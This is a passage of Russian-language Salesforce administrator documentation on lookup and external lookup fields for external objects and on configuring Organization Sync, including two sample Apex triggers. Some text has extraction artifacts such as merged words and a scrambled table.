Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

Рекомендуемиспользоватьвзаимосвязьпоиска, есливнешниеданныесодержат столбец,
определяющий связанные записи Salesforce по 18-значным кодам.

Полевзаимосвязипоискасвязываетдочернийстандартный, настраиваемыйиливнешний
объект с родительским стандартным или настраиваемым объектом. Пользователь,
редактирующий дочернюю запись, может щелкнуть значок поиска поля для выбора
конкретной родительской записи, а пользователь, просматривающий родительскую
запись, может просмотреть связанный список дочерних записей.

При создании поля взаимосвязи поиска для внешнего объекта заполните поле «Имя
внешнегостолбца», содержащее 18-значныекодыSalesforceдляопределенияродительских
записей.

Пример:

• Записьорганизации (родительскийстандартныйобъект) отображаетсвязанный
список внешних заказов на продажу SAP (дочерний внешний объект).

• Записьорганизации (родительскийстандартныйобъект) отображаетсвязанный
список обращений по поддержке (дочерний стандартный объект).

СМ. ТАКЖЕ:

Взаимосвязи внешних объектов

Создание настраиваемых полей

Рекомендации по использованию взаимосвязей для Lightning Connect: все адаптеры

Добавление источника данных Files Connect в глобальный поиск
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Поля взаимосвязи внешнего поиска для внешних объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect для внешних
облачных источников
данных доступен в выпусках:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для внешних
источников данных на
площадке клиента доступен
при дополнительнойоплате
в выпусках: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

Рекомендуем использовать взаимосвязь внешнего поиска, если родительский объект
является внешним.

Взаимосвязь внешнего поиска связывает дочерний стандартный, настраиваемый или
внешний объект с родительским внешним объектом.

Значения стандартного поля «Внешний код» родительского внешнего объекта
сопоставляются со значениями поля взаимосвязи внешнего поиска. При наличии
дочернего внешнегообъекта значенияполя взаимосвязивнешнегопоискаизвлекаются
из заданного поля «Имя внешнего столбца».

Пример:

• Внешний элемент каталога продуктов (родительский внешний объект)
отображаетсвязанныйсписокобращенийпоподдержке (дочернийстандартный
объект).

• Внешнийклиент (родительскийвнешнийобъект) отображаетсвязанныйсписок
внешних заказов (дочерний внешний объект).

Пример: Допустим, что при наличии адаптера Salesforce для Lightning Connect
контактыиорганизациихранятся в организациипоставщика. Чтобыпросмотреть
связанные контакты каждой организации из организации подписчика, создайте
поле внешнегопоиска для внешнего объекта «Контакт» организацииподписчика.
Свяжите данное поле внешнего поиска с внешним объектом «Организация»
организации подписчика. Затем настройте макеты страниц для внешнего объекта
«Организация» для добавления связанного списка, отображающего связанные
записи внешнего объекта «Контакт».

Пример: Моментальный снимок ниже отображает страницу сведений о записи
длявнешнегообъекта Business_Partner, содержащуюдва связанныхспискадочерних
объектов. Данный пример показывает как взаимосвязи внешнего поиска и макеты
страниц позволяют пользователям просматривать связанные данные внутри и за
пределами организации Salesforce на одной странице.

• Стандартный объект «Организация» (1)

• Внешний объект «Sales_Order» (2)
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СМ. ТАКЖЕ:

Взаимосвязи внешних объектов

Создание настраиваемых полей

Изменение типа настраиваемого поля

Рекомендации по использованию взаимосвязей для Lightning Connect: все адаптеры

Добавление источника данных Files Connect в глобальный поиск
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Поля взаимосвязи непрямого поиска для внешних объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

Рекомендуем использовать взаимосвязь непрямого поиска, если внешние данные не
содержат коды записей Salesforce.

Взаимосвязь непрямого поиска связывает дочерний внешний объект с родительским
стандартнымилинастраиваемымобъектом. Присозданииполявзаимосвязинепрямого
поиска для внешнего объекта рекомендуем задать поля родительского и дочернего
объектов для сопоставления друг с другом.

Например, выберите настраиваемое поле уникального внешнего кода родительского
объекта для сопоставления с полем взаимосвязи непрямого поиска дочернего объекта,
значения которого определяются заданным полем «Имя внешнего столбца».

Прим.: Толькообъекты, содержащиенастраиваемоеполес атрибутами «Внешний
код» и «Уникальное», доступны во взаимосвязях непрямого поиска в качестве
родительских объектов.При отсутствии нужного объекта во время создания поля
взаимосвязи непрямого поиска рекомендуем добавить настраиваемое поле
уникального внешнего кода в данный объект.

Пример:

• Записьорганизации (родительскийстандартныйобъект) отображаетсвязанный
список заказов на продажу SAP (дочерний внешний объект) с совпадающими
кодами клиента, которые не являются кодами Salesforce.

• Запись контакта (родительский стандартный объект) отображает связанный
список сообщений социальной сети (дочерний внешний объект) с
совпадающими двойными указателями на социальные сети.

СМ. ТАКЖЕ:

Взаимосвязи внешних объектов

Создание настраиваемых полей

Изменение типа настраиваемого поля

Рекомендации по использованию взаимосвязей для Lightning Connect: все адаптеры

Добавление источника данных Files Connect в глобальный поиск
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Синхронизация организации

Синхронизация организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
подключения репликации:
• «Управление

подключениями»

Компания Salesforce понимает важность получения мгновенного доступа к данным —
даже во время простоя и обслуживания. Благодаря функции «Синхронизация
организации», пользователимогутнастраивать второстепеннуюсинхронизированную
организацию Salesforce, позволяющую обрабатывать наиболее важные процессы и
данные во время простоя или обслуживания основной организации.

Функция «Синхронизация организации» предоставляет пользователям компаний
непрерывныйдоступксистемеSalesforce. Например, сотрудникикруглосуточногоцентра
обработки вызовов могут беспрепятственно продолжать обслуживание клиентов во
время технического обслуживания.

Функция «Синхронизацияорганизации» используетинфраструктуруфункции Salesforce
to Salesforce, позволяющей клиентам обмениваться записями с другими компаниями,
которые также используют систему Salesforce. Чтобы настроить функцию
«Синхронизация организации», администратор Salesforce настраивает второстепенную
организацию Salesforce, содержащуюсовпадающиеметаданные, исоздаетподключение
репликацииданныхмеждуосновнойивторостепеннойорганизациями. Администратор
определяет типыданных, которыемогут копироватьсявовторостепеннуюорганизацию,
путем соотнесения важных объектов и полей со второстепенной организацией
посредством процесса публикации и подписки. Затем записи копируются во
второстепенную организацию, обеспечивая их синхронизацию.

При профилактическом обслуживании основной организации пользователи
перенаправляютсявовторостепеннуюорганизациюдозавершениявыполняемогообслуживания. Вседействия (например,
создание обращения, удаление вложения и т. д.), выполняемые пользователями в одной организации, автоматически
применяются к другой организации. Принеобходимости администратор может также перенаправить пользователей по
своему усмотрению для обновления основной организации.

Хотите получить дополнительную информацию о процессе настройки функции «Синхронизация организации»?
Просмотрите данный короткий видеоролик: Особенности работы функции «Синхронизация организации».

Подготовка к синхронизации организации

Ограничения синхронизации организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Узнайте об ограничениях в синхронизации организации.

Организационные ограничения

• Использованиефункции «Синхронизацияорганизации» доступнотолькопосле
приобретения второстепенной организации Salesforce и соответствующих
лицензий пользователя.

• Основная и второстепенная организации должны использовать один тип
организации (например, производственнаяилибезопасная среда) иодинаковую
версию.
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• Во избежание несогласованного поведения обе организации должны применять одинаковые ограничения и
параметры. ПриизмененииограниченийдляосновнойорганизацииобратитесьвкомпаниюSalesforceдлявнесения
аналогичных изменений во второстепенную организацию.

• Во избежание ошибок копий рекомендуется отменить функцию управления повторами во второстепенных
организациях.

• Функция «Синхронизация организации» поддерживает две организации, но может быть настроена для
использования множеством организаций.

Неподдерживаемые поля

• Поля автонумерации не синхронизируются, но можно внедрить временное решение. Для получения более
подробных сведений см. раздел «Настройка полей автонумерации».

• Зашифрованные поля, стандартные и настраиваемые, не синхронизируются.

• Если вы подключили опцию синхронизации лент и полей аудита, то поля аудита не будут отображаться в списке
публикуемых полей, так как они синхронизируются автоматически. Поля аудита синхронизируются, только если
запись копируется с одной организации другой (например, во время пакетной синхронизации). Еслиполя аудита
обновляются синхронной записью, такое обновление не переносится в связанную организацию.

• Поля типа «Область обогащенного текста» не синхронизируются.

• Поляформулы и поля сводного резюмирования недоступны для публикации, так как их значения определяются
значениями других полей. В качестве временного решения опубликуйте поля ввода для поля формулы или поля
сводного резюмирования. Затем создайте идентичное поле формулы или поле сводного резюмирования во
второстепенной организации, ссылающейся на данные поля ввода для вычисления его значения.

• Поля поиска неопубликованных объектов не публикуются автоматически, т.к. публикация таких полей может
привести к ошибкам синхронизации. Например, еслиполеобъекта типа «Контакт» содержитпоискорганизаций,
а объект типа «Организация» еще не опубликован, то такое поле можно опубликовать только вручную.

• Поля с выносками, такие как поля геолокации, не синхронизируются.

Неподдерживаемые объекты ифункции

• Функция «Синхронизация организации» позволяет публиковать только определенные объекты. Список см. в
разделе «Какие объекты могут быть опубликованы?».

• Определенные типы метаданных не поддерживаются. Список см. в разделе «Какие типы метаданных
синхронизируются?».

• Поддерживаемые метаданные синхронизируются только в одном направлении   от основной организации к
второстепенной.

• LiveAgent, Salesforce Knowledge, порталы и сообщества не поддерживаются.

• Управляемые пакеты не подлежат синхронизации. При необходимости установите пакет в обеих организациях
для обеспечения согласованности пользовательских данных.

• Файлы Chatter размером свыше 38 Мб не синхронизируются.

• Темы, группы Chatter и т. п. не синхронизируются.

• В синхронных сообщениях Chatter упоминания пользователей не могут служить активными ссылками.

• Версии файлов Chatter не поддерживаются.

Автоматизация и структура данных

• Многоуровневые поиски, в которых больше одного уровня, синхронизируются только во время пакетной
синхронизации.
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• Триггеры, процессы и бизнес-правила Apex не копируются с одной организации для другой, т. к. двойная
автоматизация может привести к зацикливанию обновлений или ошибок. Может потребоваться адаптировать
имеющиеся триггеры, процессы и бизнес-правила к второстепенной организации.

Ограничения синхронизации

• Пользователи синхронизируются только в одном направлении   от основной организации к второстепенной.
Дополнительнуюинформациюсм. вразделе«Управлениепользовательскимиданнымивфункции "Синхронизация
организации"».

• Пакетная синхронизацияможет копировать только записи, созданныепоследнимиилиизмененныенеболее чем
за один год до даты пакетной синхронизации.

• Если второстепенная организация содержала записи до установления связимежду двумя организациями, то такие
исходные записи во второстепенной организации не подключаются автоматически к совпадающим записям в
основнойорганизации. Втакойситуацииобъектыпакетнойсинхронизации, ужеимеющиесявобеихорганизациях,
приведут к дублированию предупреждений, если активна функция управления повторами.

• Salesforce не рекомендует использовать двустороннюю синхронизацию для некоторых объектов и полей, а
одностороннюю синхронизацию для остальных.

Рекомендации по настройке функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем начать настройку функции «Синхронизация организации», просмотрите
важную информацию ниже. Способ использования полей автонумерации, триггеров
Apex, полейаудитаидругихфункций Salesforce определяет способобращенияс текущим
внедрением.

Синхронизация лент и полей аудита
Синхронизация лент и полей аудита для подключенных записей позволяет
пользователям, работающим во второстепенной организации, быстро открывать
журнал записи.

Настройка триггеров
Триггеры Apex, используемые основной организацией Salesforce, не подлежат
автоматическомукопированиювовторостепеннуюорганизациюприиспользовании
функции «Синхронизация организации». Данный алгоритм препятствует наличию активного триггера в обеих
организациях. Принеобходимостинастройте триггерыосновнойорганизациивсоответствиис требованиямиобеих
организаций.

Настройка полей автонумерации
Функция «Синхронизация организации» не поддерживает синхронизацию полей, использующих автоматически
создаваемые номера (например, номера обращений). При необходимости разработайте временное решение,
обеспечивающее согласованность пользовательских данных между основной и второстепенной организациями.

Выбор способа синхронизации
Функция «Синхронизацияорганизации», предназначеннаядляпрямойдвустороннейсинхронизациимеждуосновной
ивторостепеннойорганизациями, такжеподдерживаетодностороннююсинхронизацию. Преждечемначатьпроцесс
публикации и подписки, определите наиболее оптимальный способ синхронизации.
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Синхронизация лент и полей аудита

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Синхронизация лент и полей аудита для подключенных записей позволяет
пользователям, работающимвовторостепеннойорганизации, быстрооткрыватьжурнал
записи.

Записи и сообщения ленты в системе Salesforce содержат четыре поля аудита.

• CreatedBy

• CreatedDate

• LastModifiedBy

• LastModifiedDate

Если вы согласны на синхронизацию полей аудита, учтите, что такие поля
синхронизируются, только когда запись копируется с одной организации для другой
(например, во время пакетной синхронизации). Если поля аудита обновляются
синхронной записью, такое обновление не переносится в связанную организацию. Рекомендуется синхронизировать
поля аудита, чтобы в максимально возможной степени согласовать данные между собой.

Чтобы синхронизировать ленты и поля аудита, выберите параметр «Синхронизировать ленты и поля аудита» при
отправке приглашения на подключение. В случае двусторонней синхронизации выбор этого параметра выполнит
синхронизацию полей аудита в обоих направлениях. Можно также изменить этот параметр на странице подробных
сведений о подключении для функции «Синхронизация организации».

Важное замечание:

• При отсутствии флажка «Синхронизировать ленты и поля аудита» во время отправки приглашения на
подключениеадминистратор Salesforce долженвключитьворганизацииполномочиедля созданияполейаудита.
Чтобы включить этот параметр, введите строку «Пользовательский интерфейс» в поле «Быстрый поиск» в
меню «Настройка» ищелкните «Пользовательский интерфейс». Затем установите флажок «Включить
полномочия пользователя "Настройка полей аудита при создании записи" и "Обновление записей,
имеющих неактивных ответственных"».

• Включение этого параметра пользовательского интерфейса также позволяет пользователям вручную
редактироватьполя аудита в системе Salesforce. Еслиорганизациянеподдерживаетредактированиеполей аудита
вручную, то синхронизация лент и полей аудита при синхронизации организации невозможна. При
необходимости настройте функцию отслеживания ленты для записей во второстепенной организации. На
данной ленте отображаются только обновления, выполненные во второстепенной организации.

Настройка триггеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Триггеры Apex, используемые основной организацией Salesforce, не подлежат
автоматическому копированию во второстепенную организацию при использовании
функции «Синхронизация организации». Данный алгоритм препятствует наличию
активного триггера в обеих организациях. При необходимости настройте триггеры
основной организации в соответствии с требованиями обеих организаций.

Чтобы настроить текущие триггеры для функции «Синхронизация организации»,
воспользуйтесь полями «Тип подключения» и «Роль репликации». Эти поля
отображаются в столбцах на странице «Подключения». Поле «Тип подключения»
определяетподключениекакстандартноеилиподключениерепликации (синхронизация
организации), а поле «Роль репликации» определяет организацию как основную или
второстепенную.
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Все триггеры должны быть настроены перед процессом публикации и подписки. Рекомендуем определить алгоритмы
триггеров, которые должныиспользоваться во второстепеннойорганизации. Нижеперечисленынекоторые возможные
случаи.

• Чтобы применить текущий триггер к обеим организациям, настройте аналогичный триггер во второстепенной
организации.

• Чтобы применить текущий триггер только к основной организации, оставьте нужный триггер без изменений.

• Чтобы применить разные алгоритмы в каждой организации, настройте триггер, ссылающийся на обе организации.

Пример: Триггер ниже заменяет описания всех обращений строкой «Case in Primary» в основной организации и
строкой «Case in Secondary» во второстепенной организации.

trigger CaseTrigger_UpdateDesc on Case (before insert, before update) {
boolean isPrimary = true;
for (PartnerNetworkConnection conn : [select ReplicationRole from

PartnerNetworkConnection where ConnectionType = 'Replication' and ConnectionStatus =
'Accepted']) {

if (conn.ReplicationRole == 'Secondary') {
isPrimary = false;

}
}

for (Case c : Trigger.new) {
if (isPrimary) {
c.Description = 'Case in Primary';

} else {
c.Description = 'Case in Secondary';

}
}

}
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Настройка полей автонумерации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления полей в
опубликованный объект:
• «Управление

подключениями»

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Для создания,
редактирования и удаления
макетов страниц:
• «Настройка

приложения»

Функция «Синхронизация организации» не поддерживает синхронизацию полей,
использующих автоматически создаваемые номера (например, номера обращений).
Принеобходимостиразработайтевременноерешение, обеспечивающеесогласованность
пользовательских данных между основной и второстепенной организациями.

При копирования обращения из основной организации во второстепенную система
Salesforce обрабатывает обращение как новое и назначает новый номер. Тем не менее,
пользователи могут создавать конфигурацию настраиваемого поля, позволяющую
обеиморганизациямотображатьодинаковыеидентификационныеномераобращений.
Данный алгоритм позволяет агентам службы поддержки быстро находить нужные
обращения по номерам, независимо от текущей организации. Пример ниже касается
поля «Номер обращения», однако, аналогичные действия могут быть выполнены для
любого поля Salesforce, использующего автоматически создаваемые номера.

Важное замечание: Если компания уже использует настраиваемое поле,
отображающее номера обращений, то данные действия могут быть пропущены.

Чтобы настроить номера обращений для функции «Синхронизация организации»,
выполните указанные ниже действия.

1. Откройтеосновнуюорганизациюисоздайтенастраиваемоетекстовоеполепоимени
«Номер обращения [Компания]».

2. Обновите макет страницы обращений.

a. Добавьте созданное настраиваемое поле номера обращения.

b. Удалите или скройте поле создаваемого системой номера обращения.

3. Примените триггер, копирующий создаваемый системой номер обращения в
настраиваемое поле номера обращения, но выполняемый только для текущих или
новых обращений (не копированных). Данный триггер препятствует копированию
ложного номера обращения, назначенного во время репликации, в настраиваемое
поле номера обращения. Воспользуйтесь триггером ниже.

trigger UpdateCaseNumber on Case (after insert) {
List<Case> cases = new List<Case>();
for (Case c : Trigger.new) {
if (c.CustomCaseNumber__c == null) {
Case caseToUpdate = new Case(Id=c.Id);
caseToUpdate.CustomCaseNumber__c = c.CaseNumber;
cases.add(caseToUpdate);

}
}
database.update(cases);

}

4. Повторите предыдущие действия во второстепенной организации.

5. Откройте второстепеннуюорганизациюинастройтепараметротображения, позволяющийначинать автоматически
назначаемыеномера обращений со значения «2-». Данный алгоритм гарантирует уникальность номеров обращений,
назначаемых системой. Чтобы изменить данный параметр, выполните указанные ниже действия.

a. Откройте параметры управления объектом для обращения и перейдите в область полей.

b. Щелкните ссылку «Правка» напротив поля «Номер обращения».
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c. Заполните поле «Формат отображения» следующим текстом: 2-{00000000}.

d. Нажмите кнопку «Сохранить».

Прим.: Рекомендуем выполнить данные действия перед публикацией и подпиской на объекты и поля. Таким
образом, публикация и подписка на созданное настраиваемое поле и другие важные объекты или поля могут быть
выполнены одновременно. Если процесс публикации и подписки уже выполнен, то настраиваемое поле номера
обращения может отображаться обеими организациями только после его публикации и подписки.

Выбор способа синхронизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Синхронизация организации», предназначенная для прямой двусторонней
синхронизациимеждуосновнойивторостепеннойорганизациями, такжеподдерживает
одностороннююсинхронизацию. Преждечемначатьпроцесспубликациииподписки,
определите наиболее оптимальный способ синхронизации.

Рекомендуем использовать двустороннюю синхронизацию для предоставления
пользователям возможности синхронизации внесенных изменений между основной и
второстепенной организациями. Рекомендуем использовать одностороннюю
синхронизацию для обычного обновления второстепенной организации данными из
основной организации. Данная таблица содержит сведения о каждом способе
синхронизации.

Важное замечание: Salesforce не рекомендует использовать двустороннюю
синхронизацию для некоторых объектов и полей, а одностороннюю
синхронизацию для остальных. Кроме того, функция «Синхронизация
организации» поддерживает две организации, но может быть настроена для
использования множеством организаций.

Односторонняя синхронизацияДвусторонняя синхронизация (стандартная)Сведения

Публикация объектов и полей выполняется из
основной организации, а подписка — из

Публикация объектов и полей выполняется из
основной организации, а подписка — из

Принцип
работы

второстепенной организации. Затем записивторостепенной организации. Затем
опубликованного типа объекта копируются во
второстепенную организацию.

аналогичный процесс публикации и подписки
повторяется в обратном направлении (из
второстепенной организации в основную). Обновления, внесенные в синхронизированные

записи основной организации, автоматическиЗатем записи опубликованного типа объекта
копируются во второстепенную организацию. применяются к второстепенной организации (но

не наоборот). Таким образом, второстепеннаяОбновления, внесенныевсинхронизированные
записи любой организации, автоматически организацияиспользуетсявкачествеопорывовремя

недоступности основной организации.применяются к другой организации.
Обновлениями считаются создание,
обновление, удалениеивосстановлениезаписей.

Рекомендации • При внесении обновлений во второстепенную
организацию пользователь должен повторить
данные обновления в основной организации.

• Ввиду переноса обновлений из
второстепенной организации в основную,
рекомендуем учитывать поля поиска при
настройке функции «Синхронизация • Восстановление синхронизированной записи

из второстепенной организации инициируеторганизации» во избежание перезаписи
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Односторонняя синхронизацияДвусторонняя синхронизация (стандартная)Сведения

данных из основной организации данными
из второстепенной организации.

удаление ее подключения к основной
организации. Чтобывосстановитьподключение,
рекомендуемперенаправить запись вручнуюиз
основной организации во второстепенную.

• Триггеры, бизнес-правила и код Apex,
используемыеосновнойорганизацией, могут
требовать изменения или выключения во • Триггеры, бизнес-правила и код Apex,

используемые основной организацией, могутвторостепеннойорганизациивоизбежание
циклов данных. также применяться во второстепенной

организации при условии публикации и
подписки на зависимые объекты.

Настройка среды для функции «Синхронизация организации»

Администраторфункции «Синхронизация организации» получает доступ к основной и второстепенной организациям
Salesforce, каждойизкоторыхпредоставляютсяотдельныерегистрационныеданныеадминистратора. Преждечемдобавить
данные во второстепенную организацию, рекомендуем выполнить некоторые настройки и создать подключение
репликации между двумя организациями.

Важное замечание: Как правило, обозреватели кэшируют регистрационные данные Salesforce, препятствуя
одновременному входу в две разные организации Salesforce посредством одного обозревателя. Рекомендуем
использоватьдваобозревателя. Выберитепоодномуобозревателюдлякаждойорганизации. Например, обозреватель
Google Chrome© для доступа к основной организации, а обозреватель Mozilla Firefox© для доступа к второстепенной
организации.

1. Включение функции Salesforce to Salesforce

Рекомендуем включить функцию Salesforce to Salesforce для основной и второстепенной организаций ввиду
использования ее инфраструктуры в функции «Синхронизация организации». После этого добавьте вкладку
«Подключения», чтобы иметь возможность управлять подключением.

2. Дублирование метаданных
Функция «Синхронизацияорганизации» непозволяетсинхронизироватьнекоторыеметаданные. Чтобыгарантировать
правильнуюсинхронизациюданныхмежду двумя организациями, рекомендуемнастроить и обработать метаданные
во второстепенной организации.

3. Создание контакта подключения
Чтобы настроить подключение для функции «Синхронизация организации», необходимо назначить самого себя в
качестве контактаподключениядля второстепеннойорганизации. Данныйалгоритмпозволяетполучать сообщения
эл. почты относительно второстепенной организации, а также без труда администрировать обе организации.

4. Подключение организаций
После настройки основной и второстепенной организаций для функции «Синхронизация организации» нужно
настроить подключение между данными организациями. Данное подключение позволяет обновлять поток между
организациями.
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Включение функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать подключение
для репликациимежду двумя
организациями Salesforce,
выполните следующие
действия.
• «Управление

подключениями»

Рекомендуемвключитьфункцию Salesforce to Salesforce дляосновнойивторостепенной
организаций ввиду использования ее инфраструктуры в функции «Синхронизация
организации». После этогодобавьте вкладку «Подключения», чтобыиметь возможность
управлять подключением.

Выполните указанные ниже действия в основной и второстепенной организациях.

1. Включите функцию Salesforce to Salesforce.

a. Введитестроку «Параметры Salesforce to Salesforce» вполе «Быстрый
поиск» в меню «Настройка» и выберите пункт «Параметры Salesforce to
Salesforce».

b. Нажмите кнопку «Правка» на странице «Настройка функции Salesforce to
Salesforce».

c. Установите флажок «Включить».

d. Нажмите кнопку «Сохранить».

2. Добавьте вкладку «Подключения» в пользовательский интерфейс.

a. Щелкните значок «+» справа от текущих вкладок. При этом откроется страница
«Все вкладки».

b. Нажмите кнопку «Настройка моих вкладок».

c. Чтобы переместить вкладку «Подключения» из списка «Доступные вкладки» в
список «Выбранные вкладки», воспользуйтесь кнопкой «Добавить». Чтобы
изменить порядок отображения вкладок, воспользуйтесь кнопками «Вверх» и «Вниз».

d. Нажмите кнопку «Сохранить».

Дублирование метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Синхронизация организации» не позволяет синхронизировать некоторые
метаданные. Чтобы гарантировать правильную синхронизацию данных между двумя
организациями, рекомендуем настроить и обработать метаданные во второстепенной
организации.

Что такое метаданные?
Каждая настройка организации Salesforce инициирует изменение ее метаданных.
Например, обновлением метаданных считается редактирование макетов страниц,
создание настраиваемого поля и создание типа записи. Данные — это информация,
хранящаясявполе (например, номертелефонаилиимя). Метаданныевторостепенной
организации должны соответствовать метаданным основной организации. В
противном случае, функция «Синхронизация организации» может работать
неэффективно.

Как синхронизировать метаданные между основной и второстепенной организациями?

1. Прежде чем создать подключение для синхронизации организации, выполните следующие действия.

a. Выполните очистку базовых данных основной организации, необходимую для правильной синхронизации
данных. Проверьте основную организацию на наличие указанных ниже ошибок и исправьте найденные
ошибки.
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Пустые обязательные поля (данная ошибка может быть вызвана назначением дополнительному полю
статуса обязательного)

•

• Недопустимые поиски

• Повторяющиеся записи

b. Настройте метаданные второстепенной организации в соответствии с метаданными основной организации.
Чтобы разрешить автоматическую синхронизацию некоторых метаданных, установите флажок
«Синхронизировать метаданные» при отправке приглашения на подключение. Список поддерживаемых
метаданных см. в разделе«Какие типы метаданных синхронизируются?». Тем не менее, если основная
организация предусматривает настройки, содержащие типы неподдерживаемых метаданных, необходимо
выполнить аналогичные настройки и развертывания во второстепенной организации.

2. После подключения организаций разработайте бизнес-процесс, гарантирующий применение всех обновлений
метаданных, выполненных в одной организации, в другой организации. Помните, что при установке флажка
«Синхронизировать метаданные» некоторые обновления синхронизируются автоматически.

Когда выполняется синхронизация метаданных?
Если выбрана синхронизация метаданных, система Salesforce начнет копирование поддерживаемых метаданных во
второстепенную организацию сразу же после принятия пользователем приглашения на подключение для
синхронизации организации. Во время синхронизации поле «Статус подключения» на странице сведений о
подключении принимает значение «Выполняется синхронизация метаданных».

После первоначального копирования метаданных ежедневно выполняется обновление и синхронизация
поддерживаемых метаданных. Чтобы запустить немедленную синхронизацию всех поддерживаемых метаданных,
выполните следующие действия.

1. Откройте страницу сведений о нужном подключении в основной организации.

2. Нажмите кнопку «Правка» в разделе сведений о подключении.

3. Снимите флажок «Синхронизировать метаданные». Нажмите кнопку «Сохранить».

4. Нажмите кнопку «Правка» в разделе сведений о подключении.

5. Установите флажок «Синхронизировать метаданные». Нажмите кнопку «Сохранить».

Как рекомендуется синхронизировать метаданные?

• При согласии на синхронизацию метаданных воспользуйтесь рекомендациями ниже.

– Чтобы удалить метаданные из одной организации, удалите метаданные из другой организации. Рекомендуем
выполнить данное действие, так как удаление метаданных не синхронизируется между организациями.

– Чтобы создать или обновить неподдерживаемыеметаданные, выполните данное действие в обеих организациях.

– Чтобы создать или обновить поддерживаемые метаданные, выполните данное действие только в основной
организации. Ввиду ежедневной синхронизации поддерживаемых метаданных между основной и
второстепенной организациями, изменения типов поддерживаемых метаданных, выполненные во
второстепенной организации, перезаписываются во время ежедневной синхронизации.

– Чтобы поддерживать актуальность метаданных и избежать возможных неполадок при синхронизации,
установитефлажок«Синхронизироватьметаданные», заисключениемописанноговышеслучаянемедленной
синхронизации. Снятие флажка после принятия приглашения на подключение инициирует приостановку
автоматической синхронизации обновленийметаданных. Флажок может быть установлен или снят только из
основной организации.

• При снятии флажка «Синхронизировать метаданные» убедитесь, что все изменения метаданных (создание,
удаление и обновление метаданных) выполняются в обеих организациях.
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Как интеграции и интерфейсы API работают при использованиифункции «Синхронизация организации»?
Приналичииограниченнойвовремениинтеграции (например, внешняявеб-форма) рекомендуемпереадресовывать
такую интеграцию во второстепенную организацию при каждой переадресации пользователей. Аналогичный
алгоритм действителен для вызовов API. Любые ограниченные во времени вызовы API к системе Salesforce должны
содержать регистрационные данные для второстепенной организации. В противном случае, при переключении на
второстепенную организацию обработка данных вызовов прекращается.

1. Какие типы метаданных синхронизируются?
Если пользователь соглашается на синхронизацию метаданных путем установки флажка «Синхронизировать
метаданные»на странице сведенийоподключении, то некоторые типыизмененийметаданных синхронизируются
между основной и второстепенной организациями ежедневно.

Какие типы метаданных синхронизируются?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Еслипользовательсоглашаетсянасинхронизациюметаданныхпутемустановкифлажка
«Синхронизироватьметаданные»настраницесведенийоподключении, тонекоторые
типы изменений метаданных синхронизируются между основной и второстепенной
организациями ежедневно.

Поддерживаемые метаданные
При выборе параметра, позволяющего синхронизировать метаданные, вставки
(добавлениеновыхметаданных) и обновления (изменениесуществующихметаданных)
указанных ниже типов метаданных синхронизируются ежедневно в одном
направлении — из основной организации во второстепенную.

ИсключенияПоддерживаемые метаданные

При синхронизации организации
отчеты не синхронизируются. Для

Классы Apex, компоненты и страницы

правильной синхронизации страницы
Apex, которая ссылается на отчет, при
использовании синхронизации
метаданных, необходимо выполнить
следующие действия.

• Создать идентичный отчет во
второстепенной организации

• Обновить страницу Apex, чтобы
задать код нового отчета

Настраиваемые поля

Настраиваемые объекты

Внешние объекты

Макеты элемента ленты и параметры
приложения Salesforce1 для макетов не
подлежат синхронизации.

Макеты
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ИсключенияПоддерживаемые метаданные

Настраиваемые вкладки и приложения для наборов
